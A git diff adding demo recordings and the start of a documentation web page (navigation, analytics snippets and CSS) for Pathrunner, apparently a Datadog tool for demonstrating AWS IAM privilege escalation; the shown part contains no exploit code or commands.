Binary files /dev/null and b/docs/pathrunner/gifs/iam-010.webm differ
diff --git a/docs/pathrunner/gifs/iam-011.webm b/docs/pathrunner/gifs/iam-011.webm
new file mode 100644
index 00000000..97be0aa6
Binary files /dev/null and b/docs/pathrunner/gifs/iam-011.webm differ
diff --git a/docs/pathrunner/gifs/iam-012.webm b/docs/pathrunner/gifs/iam-012.webm
new file mode 100644
index 00000000..12f4aca8
Binary files /dev/null and b/docs/pathrunner/gifs/iam-012.webm differ
diff --git a/docs/pathrunner/gifs/iam-013.webm b/docs/pathrunner/gifs/iam-013.webm
new file mode 100644
index 00000000..83c5f3be
Binary files /dev/null and b/docs/pathrunner/gifs/iam-013.webm differ
diff --git a/docs/pathrunner/gifs/iam-014.webm b/docs/pathrunner/gifs/iam-014.webm
new file mode 100644
index 00000000..d56aa34e
Binary files /dev/null and b/docs/pathrunner/gifs/iam-014.webm differ
diff --git a/docs/pathrunner/gifs/iam-015.webm b/docs/pathrunner/gifs/iam-015.webm
new file mode 100644
index 00000000..c8335726
Binary files /dev/null and b/docs/pathrunner/gifs/iam-015.webm differ
diff --git a/docs/pathrunner/gifs/iam-016.webm b/docs/pathrunner/gifs/iam-016.webm
new file mode 100644
index 00000000..c6d0d9cc
Binary files /dev/null and b/docs/pathrunner/gifs/iam-016.webm differ
diff --git a/docs/pathrunner/gifs/iam-017.webm b/docs/pathrunner/gifs/iam-017.webm
new file mode 100644
index 00000000..cdb96a82
Binary files /dev/null and b/docs/pathrunner/gifs/iam-017.webm differ
diff --git a/docs/pathrunner/gifs/iam-018.webm b/docs/pathrunner/gifs/iam-018.webm
new file mode 100644
index 00000000..20ae32d2
Binary files /dev/null and b/docs/pathrunner/gifs/iam-018.webm differ
diff --git a/docs/pathrunner/gifs/iam-019.webm b/docs/pathrunner/gifs/iam-019.webm
new file mode 100644
index 00000000..49d5e7eb
Binary files /dev/null and b/docs/pathrunner/gifs/iam-019.webm differ
diff --git a/docs/pathrunner/gifs/iam-020.webm b/docs/pathrunner/gifs/iam-020.webm
new file mode 100644
index 00000000..7dc9efc1
Binary files /dev/null and b/docs/pathrunner/gifs/iam-020.webm differ
diff --git a/docs/pathrunner/gifs/iam-021.webm b/docs/pathrunner/gifs/iam-021.webm
new file mode 100644
index 00000000..0b50feee
Binary files /dev/null and b/docs/pathrunner/gifs/iam-021.webm differ
diff --git a/docs/pathrunner/gifs/identity-current.gif b/docs/pathrunner/gifs/identity-current.gif
new file mode 100644
index 00000000..ebe62c6d
Binary files /dev/null and b/docs/pathrunner/gifs/identity-current.gif differ
diff --git a/docs/pathrunner/gifs/identity-list.gif b/docs/pathrunner/gifs/identity-list.gif
new file mode 100644
index 00000000..eb7ac711
Binary files /dev/null and b/docs/pathrunner/gifs/identity-list.gif differ
diff --git a/docs/pathrunner/gifs/identity-show.gif b/docs/pathrunner/gifs/identity-show.gif
new file mode 100644
index 00000000..24ec32b0
Binary files /dev/null and b/docs/pathrunner/gifs/identity-show.gif differ
diff --git a/docs/pathrunner/gifs/identity-switch.gif b/docs/pathrunner/gifs/identity-switch.gif
new file mode 100644
index 00000000..85a2752b
Binary files /dev/null and b/docs/pathrunner/gifs/identity-switch.gif differ
diff --git a/docs/pathrunner/gifs/imagebuilder-001.webm b/docs/pathrunner/gifs/imagebuilder-001.webm
new file mode 100644
index 00000000..7cb12c74
Binary files /dev/null and b/docs/pathrunner/gifs/imagebuilder-001.webm differ
diff --git a/docs/pathrunner/gifs/kinesisanalytics-001.webm b/docs/pathrunner/gifs/kinesisanalytics-001.webm
new file mode 100644
index 00000000..819e7266
Binary files /dev/null and b/docs/pathrunner/gifs/kinesisanalytics-001.webm differ
diff --git a/docs/pathrunner/gifs/lambda-001.webm b/docs/pathrunner/gifs/lambda-001.webm
new file mode 100644
index 00000000..8b60fc69
Binary files /dev/null and b/docs/pathrunner/gifs/lambda-001.webm differ
diff --git a/docs/pathrunner/gifs/lambda-002.webm b/docs/pathrunner/gifs/lambda-002.webm
new file mode 100644
index 00000000..3b6f21d5
Binary files /dev/null and b/docs/pathrunner/gifs/lambda-002.webm differ
diff --git a/docs/pathrunner/gifs/lambda-003.webm b/docs/pathrunner/gifs/lambda-003.webm
new file mode 100644
index 00000000..58e61129
Binary files /dev/null and b/docs/pathrunner/gifs/lambda-003.webm differ
diff --git a/docs/pathrunner/gifs/lambda-004.webm b/docs/pathrunner/gifs/lambda-004.webm
new file mode 100644
index 00000000..c2520f45
Binary files /dev/null and b/docs/pathrunner/gifs/lambda-004.webm differ
diff --git a/docs/pathrunner/gifs/lambda-005.webm b/docs/pathrunner/gifs/lambda-005.webm
new file mode 100644
index 00000000..5e7862f8
Binary files /dev/null and b/docs/pathrunner/gifs/lambda-005.webm differ
diff --git a/docs/pathrunner/gifs/lambda-006.webm b/docs/pathrunner/gifs/lambda-006.webm
new file mode 100644
index 00000000..12e4365d
Binary files /dev/null and b/docs/pathrunner/gifs/lambda-006.webm differ
diff --git a/docs/pathrunner/gifs/modules-info.gif b/docs/pathrunner/gifs/modules-info.gif
new file mode 100644
index 00000000..41b7d22c
Binary files /dev/null and b/docs/pathrunner/gifs/modules-info.gif differ
diff --git a/docs/pathrunner/gifs/modules-list.gif b/docs/pathrunner/gifs/modules-list.gif
new file mode 100644
index 00000000..30398b03
Binary files /dev/null and b/docs/pathrunner/gifs/modules-list.gif differ
diff --git a/docs/pathrunner/gifs/modules-status.gif b/docs/pathrunner/gifs/modules-status.gif
new file mode 100644
index 00000000..ba9155f0
Binary files /dev/null and b/docs/pathrunner/gifs/modules-status.gif differ
diff --git a/docs/pathrunner/gifs/modules-summary.gif b/docs/pathrunner/gifs/modules-summary.gif
new file mode 100644
index 00000000..9d988bcb
Binary files /dev/null and b/docs/pathrunner/gifs/modules-summary.gif differ
diff --git a/docs/pathrunner/gifs/omics-001.webm b/docs/pathrunner/gifs/omics-001.webm
new file mode 100644
index 00000000..933b7cc6
Binary files /dev/null and b/docs/pathrunner/gifs/omics-001.webm differ
diff --git a/docs/pathrunner/gifs/payloads.gif b/docs/pathrunner/gifs/payloads.gif
new file mode 100644
index 00000000..a637c10f
Binary files /dev/null and b/docs/pathrunner/gifs/payloads.gif differ
diff --git a/docs/pathrunner/gifs/search.gif b/docs/pathrunner/gifs/search.gif
new file mode 100644
index 00000000..a9a0ef75
Binary files /dev/null and b/docs/pathrunner/gifs/search.gif differ
diff --git a/docs/pathrunner/gifs/show-payloads.gif b/docs/pathrunner/gifs/show-payloads.gif
new file mode 100644
index 00000000..f50325e8
Binary files /dev/null and b/docs/pathrunner/gifs/show-payloads.gif differ
diff --git a/docs/pathrunner/gifs/ssm-001.webm b/docs/pathrunner/gifs/ssm-001.webm
new file mode 100644
index 00000000..f348f2b6
Binary files /dev/null and b/docs/pathrunner/gifs/ssm-001.webm differ
diff --git a/docs/pathrunner/gifs/ssm-002.webm b/docs/pathrunner/gifs/ssm-002.webm
new file mode 100644
index 00000000..939920e4
Binary files /dev/null and b/docs/pathrunner/gifs/ssm-002.webm differ
diff --git a/docs/pathrunner/gifs/ssm-003.webm b/docs/pathrunner/gifs/ssm-003.webm
new file mode 100644
index 00000000..0bbe3659
Binary files /dev/null and b/docs/pathrunner/gifs/ssm-003.webm differ
diff --git a/docs/pathrunner/gifs/sts-001.webm b/docs/pathrunner/gifs/sts-001.webm
new file mode 100644
index 00000000..9fde8bc7
Binary files /dev/null and b/docs/pathrunner/gifs/sts-001.webm differ
diff --git a/docs/pathrunner/gifs/use-show-options.gif b/docs/pathrunner/gifs/use-show-options.gif
new file mode 100644
index 00000000..59a415bb
Binary files /dev/null and b/docs/pathrunner/gifs/use-show-options.gif differ
diff --git a/docs/pathrunner/gifs/version.gif b/docs/pathrunner/gifs/version.gif
new file mode 100644
index 00000000..12ee4296
Binary files /dev/null and b/docs/pathrunner/gifs/version.gif differ
diff --git a/docs/pathrunner/gifs/workspace-create.gif b/docs/pathrunner/gifs/workspace-create.gif
new file mode 100644
index 00000000..1403efb2
Binary files /dev/null and b/docs/pathrunner/gifs/workspace-create.gif differ
diff --git a/docs/pathrunner/gifs/workspace-list.gif b/docs/pathrunner/gifs/workspace-list.gif
new file mode 100644
index 00000000..28843f6d
Binary files /dev/null and b/docs/pathrunner/gifs/workspace-list.gif differ
diff --git a/docs/pathrunner/index.html b/docs/pathrunner/index.html
new file mode 100644
index 00000000..8a33e9d5
--- /dev/null
+++ b/docs/pathrunner/index.html
@@ -0,0 +1,601 @@
+<!DOCTYPE html>
+<html lang="en">
+<head>
+    <meta charset="UTF-8">
+    <meta name="viewport" content="width=device-width, initial-scale=1.0">
+    <title>pathfinding.cloud - Pathrunner</title>
+    <meta name="description" content="Command, module, and payload reference for Pathrunner - the modular AWS privilege escalation exploitation framework.">
+    <!-- Open Graph / Social Sharing -->
+    <meta property="og:type" content="website">
+    <meta property="og:url" content="https://pathfinding.cloud/pathrunner/">
+    <meta property="og:title" content="Pathrunner - pathfinding.cloud">
+    <meta property="og:description" content="The command, module, and payload reference for Pathrunner - a modular AWS privilege escalation exploitation framework with 80+ exploit modules and interchangeable payloads.">
+    <meta property="og:image" content="https://pathfinding.cloud/images/pathfinding-cloud.png">
+    <!-- Twitter Card -->
+    <meta name="twitter:card" content="summary_large_image">
+    <meta name="twitter:title" content="Pathrunner - pathfinding.cloud">
+    <meta name="twitter:description" content="The command, module, and payload reference for Pathrunner - a modular AWS privilege escalation exploitation framework.">
+    <meta name="twitter:image" content="https://pathfinding.cloud/images/pathfinding-cloud.png">
+    <!-- Favicon -->
+    <link rel="apple-touch-icon" sizes="180x180" href="/apple-touch-icon.png">
+    <link rel="icon" type="image/png" sizes="32x32" href="/favicon-32x32.png">
+    <link rel="icon" type="image/png" sizes="16x16" href="/favicon-16x16.png">
+    <script
+        src="https://www.datadoghq-browser-agent.com/us1/v6/datadog-rum.js"
+        type="text/javascript">
+    </script>
+    <script>
+        window.DD_RUM && window.DD_RUM.init({
+        clientToken: 'pub480324ed2fcb73b641a2eccdd88c1d13',
+        applicationId: '61e8d384-68d8-45b7-a969-3187e0e167ff',
+        site: 'datadoghq.com',
+        service: 'pathfinding.cloud',
+        env: 'prod',
+        sessionSampleRate: 100,
+        sessionReplaySampleRate: 100,
+        trackBfcacheViews: true,
+        defaultPrivacyLevel: 'allow',
+        });
+    </script>
+    <!-- Prevent theme flicker by applying theme before render -->
+    <script>
+        (function() {
+            const savedTheme = localStorage.getItem('theme') || 'light';
+            if (savedTheme === 'light') {
+                document.documentElement.classList.add('light-theme');
+            }
+            // Sidebar anti-flicker: apply collapsed class before paint.
+            // Also force-collapse on narrow viewports regardless of saved preference.
+            if (localStorage.getItem('sidebarCollapsed') === 'true' || window.innerWidth < 1600) {
+                document.documentElement.classList.add('sidebar-collapsed');
+            }
+        })();
+    </script>
+    <link rel="stylesheet" href="/css/style.css?v=48">
+    <!-- Google Tag Manager -->
+    <script>(function(w,d,s,l,i){w[l]=w[l]||[];w[l].push({'gtm.start':
+    new Date().getTime(),event:'gtm.js'});var f=d.getElementsByTagName(s)[0],
+    j=d.createElement(s),dl=l!='dataLayer'?'&l='+l:'';j.async=true;j.src=
+    'https://www.googletagmanager.com/gtm.js?id='+i+dl;f.parentNode.insertBefore(j,f);
+    })(window,document,'script','dataLayer','GTM-WDC8G6');</script>
+    <!-- End Google Tag Manager -->
+</head>
+<body>
+    <!-- Google Tag Manager (noscript) -->
+    <noscript><iframe src="https://www.googletagmanager.com/ns.html?id=GTM-WDC8G6"
+    height="0" width="0" style="display:none;visibility:hidden"></iframe></noscript>
+    <!-- End Google Tag Manager (noscript) -->
+    <header>
+        <div class="header-content">
+            <div class="header-left">
+                <button id="mobile-menu-toggle" class="mobile-menu-toggle" aria-label="Toggle menu">
+                    <svg width="24" height="24" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2">
+                        <line x1="3" y1="12" x2="21" y2="12"/>
+                        <line x1="3" y1="6" x2="21" y2="6"/>
+                        <line x1="3" y1="18" x2="21" y2="18"/>
+                    </svg>
+                </button>
+                <div class="site-branding">
+                    <a href="/" class="site-name">PATHFINDING.CLOUD</a>
+                    <div class="site-tagline">Understand, Detect &amp; Demonstrate AWS IAM Privilege Escalation</div>
+                </div>
+            </div>
+            <nav class="header-center">
+                <a href="/" class="nav-link">Home</a>
+                <div class="nav-dropdown">
+                    <a href="/paths/" class="nav-link">Paths</a>
+                    <div class="dropdown-content">
+                        <a href="/paths/">Attack Paths</a>
+                        <a href="/paths/stats/">Statistics</a>
+                    </div>
+                </div>
+                <a href="/labs/" class="nav-link">Labs</a>
+                <a href="/pathrunner/" class="nav-link active">Pathrunner</a>
+            </nav>
+            <div class="header-right">
+                <a href="https://securitylabs.datadoghq.com" target="_blank" class="datadog-logo-link" aria-label="Visit Datadog Security Labs">
+                    <img src="/images/datadog-logo-white.png" alt="Datadog Logo" class="header-logo datadog-logo-white" style="filter: brightness(0) invert(1);">
+                    <img src="/images/datadog-logo-purple.png" alt="Datadog Logo" class="header-logo datadog-logo-purple" style="filter: brightness(0) saturate(100%); display: none;">
+                    <span class="icon-label">Datadog Security Labs</span>
+                </a>
+                <button id="theme-toggle" class="theme-toggle" aria-label="Toggle theme">
+                    <svg class="sun-icon" width="24" height="24" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2">
+                        <circle cx="12" cy="12" r="5"/>
+                        <line x1="12" y1="1" x2="12" y2="3"/>
+                        <line x1="12" y1="21" x2="12" y2="23"/>
+                        <line x1="4.22" y1="4.22" x2="5.64" y2="5.64"/>
+                        <line x1="18.36" y1="18.36" x2="19.78" y2="19.78"/>
+                        <line x1="1" y1="12" x2="3" y2="12"/>
+                        <line x1="21" y1="12" x2="23" y2="12"/>
+                        <line x1="4.22" y1="19.78" x2="5.64" y2="18.36"/>
+                        <line x1="18.36" y1="5.64" x2="19.78" y2="4.22"/>
+                    </svg>
+                    <svg class="moon-icon" width="24" height="24" viewBox="0 0 24 24" fill="currentColor">
+                        <path d="M21 12.79A9 9 0 1 1 11.21 3 7 7 0 0 0 21 12.79z"/>
+                    </svg>
+                    <span class="icon-label">Toggle Theme</span>
+                </button>
+                <a href="https://github.com/DataDog/pathrunner" target="_blank" class="github-link" aria-label="View Pathrunner on GitHub">
+                    <svg width="24" height="24" viewBox="0 0 16 16" fill="currentColor">
+                        <path d="M8 0C3.58 0 0 3.58 0 8c0 3.54 2.29 6.53 5.47 7.59.4.07.55-.17.55-.38 0-.19-.01-.82-.01-1.49-2.01.37-2.53-.49-2.69-.94-.09-.23-.48-.94-.82-1.13-.28-.15-.68-.52-.01-.53.63-.01 1.08.58 1.23.82.72 1.21 1.87.87 2.33.66.07-.52.28-.87.51-1.07-1.78-.2-3.64-.89-3.64-3.95 0-.87.31-1.59.82-2.15-.08-.2-.36-1.02.08-2.12 0 0 .67-.21 2.2.82.64-.18 1.32-.27 2-.27.68 0 1.36.09 2 .27 1.53-1.04 2.2-.82 2.2-.82.44 1.1.16 1.92.08 2.12.51.56.82 1.27.82 2.15 0 3.07-1.87 3.75-3.65 3.95.29.25.54.73.54 1.48 0 1.07-.01 1.93-.01 2.2 0 .21.15.46.55.38A8.013 8.013 0 0016 8c0-4.42-3.58-8-8-8z"/>
+                    </svg>
+                    <span class="icon-label">View on GitHub</span>
+                </a>
+            </div>
+        </div>
+    </header>
+
+    <!-- Mobile Menu Overlay -->
+    <div id="mobile-menu-overlay" class="mobile-menu-overlay">
+        <div class="mobile-menu">
+            <div class="mobile-menu-header">
+                <span>Menu</span>
+                <button id="mobile-menu-close" class="mobile-menu-close" aria-label="Close mobile menu">
+                    <svg width="24" height="24" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2">
+                        <line x1="18" y1="6" x2="6" y2="18"/>
+                        <line x1="6" y1="6" x2="18" y2="18"/>
+                    </svg>
+                </button>
+            </div>
+            <nav class="mobile-menu-nav">
+                <a href="/" class="mobile-nav-link">Home</a>
+                <div class="mobile-nav-group">
+                    <span class="mobile-nav-parent">Paths</span>
+                    <a href="/paths/" class="mobile-nav-link mobile-nav-child">Attack Paths</a>
+                    <a href="/paths/stats/" class="mobile-nav-link mobile-nav-child">Statistics</a>
+                </div>
+                <div class="mobile-nav-group">
+                    <span class="mobile-nav-parent">Labs</span>
+                    <a href="/labs/" class="mobile-nav-link mobile-nav-child">Labs Catalog</a>
+                    <a href="/labs/getting-started/" class="mobile-nav-link mobile-nav-child">Getting Started</a>
+                </div>
+                <div class="mobile-nav-group">
+                    <span class="mobile-nav-parent">Pathrunner</span>
+                    <a href="/pathrunner/" class="mobile-nav-link mobile-nav-child">Overview</a>
+                    <a href="/pathrunner/getting-started" class="mobile-nav-link mobile-nav-child">Getting Started</a>
+                    <a href="/pathrunner/commands" class="mobile-nav-link mobile-nav-child">Commands</a>
+                    <a href="/pathrunner/modules" class="mobile-nav-link mobile-nav-child">Exploit Modules</a>
+                    <a href="/pathrunner/payloads" class="mobile-nav-link mobile-nav-child">Payloads</a>
+                </div>
+            </nav>
+        </div>
+    </div>
+
+    <aside class="site-sidebar" id="site-sidebar">
+        <nav class="sidebar-nav">
+            <a href="/" class="sidebar-item" data-tooltip="Home">
+                <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M3 9l9-7 9 7v11a2 2 0 0 1-2 2H5a2 2 0 0 1-2-2z"/><polyline points="9 22 9 12 15 12 15 22"/></svg>
+                <span class="sidebar-label">Home</span>
+            </a>
+
+            <hr class="sidebar-divider">
+            <div class="sidebar-group" id="sidebar-group-paths">
+                <button class="sidebar-group-toggle" data-tooltip="Paths">
+                    <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M12 22s8-4 8-10V5l-8-3-8 3v7c0 6 8 10 8 10z"/></svg>
+                    <span class="sidebar-label">Paths</span>
+                    <svg class="sidebar-chevron" width="16" height="16" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><polyline points="9 18 15 12 9 6"/></svg>
+                </button>
+                <div class="sidebar-group-items">
+                    <a href="/paths/" class="sidebar-item sidebar-child" data-tooltip="Attack Paths">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="10"/><circle cx="12" cy="12" r="3"/><line x1="12" y1="2" x2="12" y2="5"/><line x1="12" y1="19" x2="12" y2="22"/><line x1="2" y1="12" x2="5" y2="12"/><line x1="19" y1="12" x2="22" y2="12"/></svg>
+                        <span class="sidebar-label">Attack Paths</span>
+                    </a>
+                    <a href="/paths/stats/" class="sidebar-item sidebar-child" data-tooltip="Statistics">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><line x1="18" y1="20" x2="18" y2="10"/><line x1="12" y1="20" x2="12" y2="4"/><line x1="6" y1="20" x2="6" y2="14"/><line x1="2" y1="20" x2="22" y2="20"/></svg>
+                        <span class="sidebar-label">Statistics</span>
+                    </a>
+                </div>
+            </div>
+
+            <hr class="sidebar-divider">
+            <div class="sidebar-group" id="sidebar-group-labs">
+                <button class="sidebar-group-toggle" data-tooltip="Labs">
+                    <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M10 2v7.31l-4.76 9.54A2 2 0 0 0 7 22h10a2 2 0 0 0 1.76-2.95L14 9.31V2"/><line x1="8.5" y1="2" x2="15.5" y2="2"/></svg>
+                    <span class="sidebar-label">Labs</span>
+                    <svg class="sidebar-chevron" width="16" height="16" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><polyline points="9 18 15 12 9 6"/></svg>
+                </button>
+                <div class="sidebar-group-items">
+                    <a href="/labs/" class="sidebar-item sidebar-child" data-tooltip="Labs Catalog">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><rect x="3" y="3" width="7" height="7"/><rect x="14" y="3" width="7" height="7"/><rect x="14" y="14" width="7" height="7"/><rect x="3" y="14" width="7" height="7"/></svg>
+                        <span class="sidebar-label">Labs Catalog</span>
+                    </a>
+                    <a href="/labs/getting-started/" class="sidebar-item sidebar-child" data-tooltip="Getting Started">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="10"/><polygon points="16.24 7.76 14.12 14.12 7.76 16.24 9.88 9.88 16.24 7.76"/></svg>
+                        <span class="sidebar-label">Getting Started</span>
+                    </a>
+                </div>
+            </div>
+
+            <hr class="sidebar-divider">
+            <div class="sidebar-group" id="sidebar-group-pathrunner">
+                <button class="sidebar-group-toggle" data-tooltip="Pathrunner">
+                    <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><polyline points="4 17 10 11 4 5"/><line x1="12" y1="19" x2="20" y2="19"/></svg>
+                    <span class="sidebar-label">Pathrunner</span>
+                    <svg class="sidebar-chevron" width="16" height="16" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><polyline points="9 18 15 12 9 6"/></svg>
+                </button>
+                <div class="sidebar-group-items">
+                    <a href="/pathrunner/" class="sidebar-item sidebar-child" data-tooltip="Overview">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><rect x="3" y="3" width="7" height="7"/><rect x="14" y="3" width="7" height="7"/><rect x="14" y="14" width="7" height="7"/><rect x="3" y="14" width="7" height="7"/></svg>
+                        <span class="sidebar-label">Overview</span>
+                    </a>
+                    <a href="/pathrunner/getting-started" class="sidebar-item sidebar-child" data-tooltip="Getting Started">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="10"/><polygon points="16.24 7.76 14.12 14.12 7.76 16.24 9.88 9.88 16.24 7.76"/></svg>
+                        <span class="sidebar-label">Getting Started</span>
+                    </a>
+                    <a href="/pathrunner/commands" class="sidebar-item sidebar-child" data-tooltip="Commands">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><polyline points="4 17 10 11 4 5"/><line x1="12" y1="19" x2="20" y2="19"/></svg>
+                        <span class="sidebar-label">Commands</span>
+                    </a>
+                    <a href="/pathrunner/modules" class="sidebar-item sidebar-child" data-tooltip="Exploit Modules">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 16V8a2 2 0 0 0-1-1.73l-7-4a2 2 0 0 0-2 0l-7 4A2 2 0 0 0 3 8v8a2 2 0 0 0 1 1.73l7 4a2 2 0 0 0 2 0l7-4A2 2 0 0 0 21 16z"/><polyline points="3.27 6.96 12 12.01 20.73 6.96"/><line x1="12" y1="22.08" x2="12" y2="12"/></svg>
+                        <span class="sidebar-label">Exploit Modules</span>
+                    </a>
+                    <a href="/pathrunner/payloads" class="sidebar-item sidebar-child" data-tooltip="Payloads">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M12 2L2 7l10 5 10-5-10-5z"/><polyline points="2 17 12 22 22 17"/><polyline points="2 12 12 17 22 12"/></svg>
+                        <span class="sidebar-label">Payloads</span>
+                    </a>
+                </div>
+            </div>
+        </nav>
+
+        <button id="sidebar-collapse-toggle" class="sidebar-collapse-btn" data-tooltip="Collapse">
+            <svg class="sidebar-icon collapse-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><polyline points="15 18 9 12 15 6"/></svg>
+            <span class="sidebar-label">Collapse</span>
+        </button>
+    </aside>
+
+    <div class="page-body">
+    <style>
+        /* Fix header overflow to allow dropdown to show */
+        header { overflow: visible !important; }
+
+        /* Dropdown menu styles (shared with other pages) */
+        .nav-dropdown { position: relative; display: flex; align-items: center; }
+        .nav-dropdown .dropdown-content {
+            display: none; position: absolute; top: 100%; left: 0;
+            background: var(--card-background); min-width: 180px;
+            box-shadow: 0 8px 16px rgba(0, 0, 0, 0.3); border-radius: 8px;
+            z-index: 9999; border: 2px solid var(--border-color);
+            padding-top: 12px; margin-top: 0;
+        }
+        .nav-dropdown .dropdown-content::before {
+            content: ''; position: absolute; top: 0; left: 0; right: 0;
+            height: 12px; background: transparent;
+        }
+        .nav-dropdown .dropdown-content a {
+            color: var(--text-primary); padding: 8px 16px; text-decoration: none;
+            display: block; transition: all 0.2s; border-radius: 6px;
+            margin: 2px 4px; position: relative;
+        }
+        .nav-dropdown .dropdown-content a:first-child { margin-top: 0; }
+        .nav-dropdown .dropdown-content a:hover {
+            background: var(--accent-purple); color: white; transform: translateX(4px);
+        }
+        .nav-dropdown:hover .dropdown-content { display: block; }
+        .nav-dropdown:hover > .nav-link { color: var(--accent-color); }
+
+        /* Datadog logo theme swap */
+        .datadog-logo-white { display: block; }
+        .datadog-logo-purple { display: none; }
+        html.light-theme .datadog-logo-white { display: none; }
+        html.light-theme .datadog-logo-purple { display: block !important; }
+
+        /* ───────────────────────── Pathrunner section ───────────────────────── */
+        .pr-hero {
+            border: 1px solid var(--border-color);
+            border-radius: 12px;
+            background: var(--card-background);
+            padding: 28px 28px 24px;
+            margin: 18px 0 22px;
+            position: relative;
+            overflow: hidden;
+        }
+        .pr-hero::before {
+            content: ''; position: absolute; top: 0; left: 0; right: 0; height: 3px;
+            background: linear-gradient(90deg, var(--primary-color), var(--accent-purple));
+        }
+        .pr-hero h1 {
+            font-size: 1.9rem; margin: 0 0 6px; color: var(--text-primary);
+        }
+        .pr-hero .pr-tagline {
+            color: var(--text-muted); font-size: 1rem; max-width: 760px; line-height: 1.55;
+        }
+        .pr-stat-row {
+            display: flex; flex-wrap: wrap; gap: 26px; margin-top: 18px;
+        }
+        .pr-stat { display: flex; flex-direction: column; }
+        .pr-stat-num {
+            font-size: 1.7rem; font-weight: 800; color: var(--accent-color); line-height: 1;
+        }
+        .pr-stat-label {
+            font-size: 0.78rem; text-transform: uppercase; letter-spacing: 0.08em;
+            color: var(--text-muted); margin-top: 4px;
+        }
+        .pr-version {
+            margin-top: 16px; font-size: 0.78rem; color: var(--text-muted);
+            font-family: ui-monospace, SFMono-Regular, Menlo, monospace;
+        }
+
+        /* Search */
+        .pr-search-bar { margin: 0 0 20px; }
+        .pr-search-bar input {
+            width: 100%; box-sizing: border-box; padding: 13px 16px;
+            font-size: 1rem; border-radius: 10px;
+            border: 1px solid var(--border-color);
+            background: var(--card-background); color: var(--text-primary);
+        }
+        .pr-search-bar input:focus {
+            outline: none; border-color: var(--accent-purple);
+        }
+
+        /* Nav cards (landing) */
+        .pr-cards {
+            display: grid; grid-template-columns: repeat(auto-fit, minmax(250px, 1fr));
+            gap: 18px;
+        }
+        .pr-card {
+            display: block; text-decoration: none; color: inherit;
+            border: 1px solid var(--border-color); border-radius: 12px;
+            background: var(--card-background); padding: 20px 22px;
+            transition: transform 0.15s, border-color 0.15s, box-shadow 0.15s;
+        }
+        .pr-card:hover {
+            transform: translateY(-3px); border-color: var(--accent-purple);
+            box-shadow: var(--shadow-lg);
+        }
+        .pr-card-head {
+            display: flex; align-items: center; gap: 10px; margin-bottom: 8px;
+        }
+        .pr-card-head svg { color: var(--accent-color); flex-shrink: 0; }
+        .pr-card-title { font-size: 1.15rem; font-weight: 700; color: var(--text-primary); }
+        .pr-card-count {
+            margin-left: auto; font-size: 0.82rem; font-weight: 700;
+            color: var(--accent-color); background: var(--background-elevated);
+            border-radius: 999px; padding: 2px 10px;
+        }
+        .pr-card-desc { font-size: 0.88rem; color: var(--text-muted); line-height: 1.5; }
+
+        /* Section + search result lists */
+        .pr-section-title {
+            font-size: 1.5rem; color: var(--text-primary); margin: 6px 0 4px;
+        }
+        .pr-section-sub { color: var(--text-muted); font-size: 0.9rem; margin-bottom: 18px; }
+        .pr-group-heading {
+            font-size: 0.82rem; text-transform: uppercase; letter-spacing: 0.08em;
+            color: var(--accent-color); font-weight: 700;
+            margin: 24px 0 10px; border-bottom: 1px solid var(--border-color); padding-bottom: 6px;
+        }
+        .pr-list { display: grid; grid-template-columns: repeat(auto-fill, minmax(320px, 1fr)); gap: 12px; }
+        .pr-list-item {
+            display: block; text-decoration: none; color: inherit;
+            border: 1px solid var(--border-color); border-radius: 10px;
+            background: var(--card-background); padding: 14px 16px;
+            transition: transform 0.12s, border-color 0.12s;
+        }
+        .pr-list-item:hover { transform: translateY(-2px); border-color: var(--accent-purple); }
+        .pr-list-item-static { cursor: default; }
+        .pr-list-item-static:hover { transform: none; border-color: var(--border-color); }
+        /* The shared `#detail-content a` rule zeroes anchor bottom-borders (for the
+           inline-link underline effect). Our card/pill anchors render inside
+           #detail-content too, so restore their full borders with matching
+           specificity. Inline prose links keep the shared underline behavior. */
